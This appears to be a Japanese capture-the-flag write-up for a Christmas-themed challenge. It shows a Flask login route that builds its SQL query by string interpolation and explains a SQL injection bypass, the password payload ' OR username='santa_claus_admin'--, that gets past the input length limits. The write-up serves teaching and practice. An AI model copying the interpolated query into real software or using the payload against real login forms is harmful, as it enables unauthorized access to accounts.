問題

🦙 < このシステムには脆弱性があるパカ!

🦌 < 僕たちになりすましてログインできたら、フラグをプレゼントするよ!

🎅 < メリークリスマス!ホッホッホッ!

抜粋

@app.post("/login")
def login():
    username = request.form.get("username", "")
    password = request.form.get("password", "")

    if len(username) > 12 or len(password) > 48:
        return "Your input is too long!"

    conn = sqlite3.connect("database.db")
    query = (
        f"SELECT * FROM users WHERE username='{username}' AND password='{password}';"
    )

    error = None
    try:
        user = conn.execute(query).fetchone()
    except sqlite3.Error as e:
        user = None
        error = str(e)
    conn.close()

    if error:
        return f"SQL error: {error}"

    if user is None:
        return "invalid credentials"

    if user[0] == "alpaca":
        return f"Hello, alpaca! Here is your flag: {FLAG_1}"
    elif user[0] == "reindeer":
        return f"Hello, reindeer! Here is your flag: {FLAG_2}"
    elif user[0] == "santa_claus_admin":
        return f"Hello, santa_claus_admin! Here is your flag: {FLAG_3}"
    else:
        return f"Hello, {user[0]}!"

TL;DR

解法

フラグが3分割されており、3ユーザでログイン成功させる

    query = (
        f"SELECT * FROM users WHERE username='{username}' AND password='{password}';"
    )

となっておりSQLi可能。

しかし、以下の制限がある。

    if len(username) > 12 or len(password) > 48:

username "santa_claus_admin"はそのまま入れると弾かれるので工夫が必要。

password = ' OR username='santa_claus_admin'--

となるように組み立てれば'santa_claus_admin'をユーザ名として指定できる。

ちなみにSQLではたいていORよりANDの方が優先順位が高い

A AND B OR C = (A AND B) OR C

ソルバ